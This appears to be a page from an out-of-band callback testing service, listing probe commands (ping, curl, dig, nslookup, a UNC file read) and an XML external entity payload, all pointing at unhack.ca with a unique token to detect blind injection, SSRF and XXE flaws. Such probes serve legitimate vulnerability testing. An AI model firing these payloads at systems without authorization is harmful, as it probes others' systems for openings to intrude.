$ ping -c1 -p 00309d24f1ce4765f8b93759c52b6600 unhack.ca
 

$ curl http://unhack.ca/p/309d24f1ce4765f8b93759c52b66
 

$ dig 309d24f1ce4765f8b93759c52b66 @unhack.ca
 

$ dig 309d24f1ce4765f8b93759c52b66.ns.unhack.ca
 

C:\> nslookup 309d24f1ce4765f8b93759c52b66 unhack.ca
 

C:\> type \\unhack.ca\309d24f1ce4765f8b93759c52b66\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/309d24f1ce4765f8b93759c52b66">]>
    <foo>&xxe;</foo>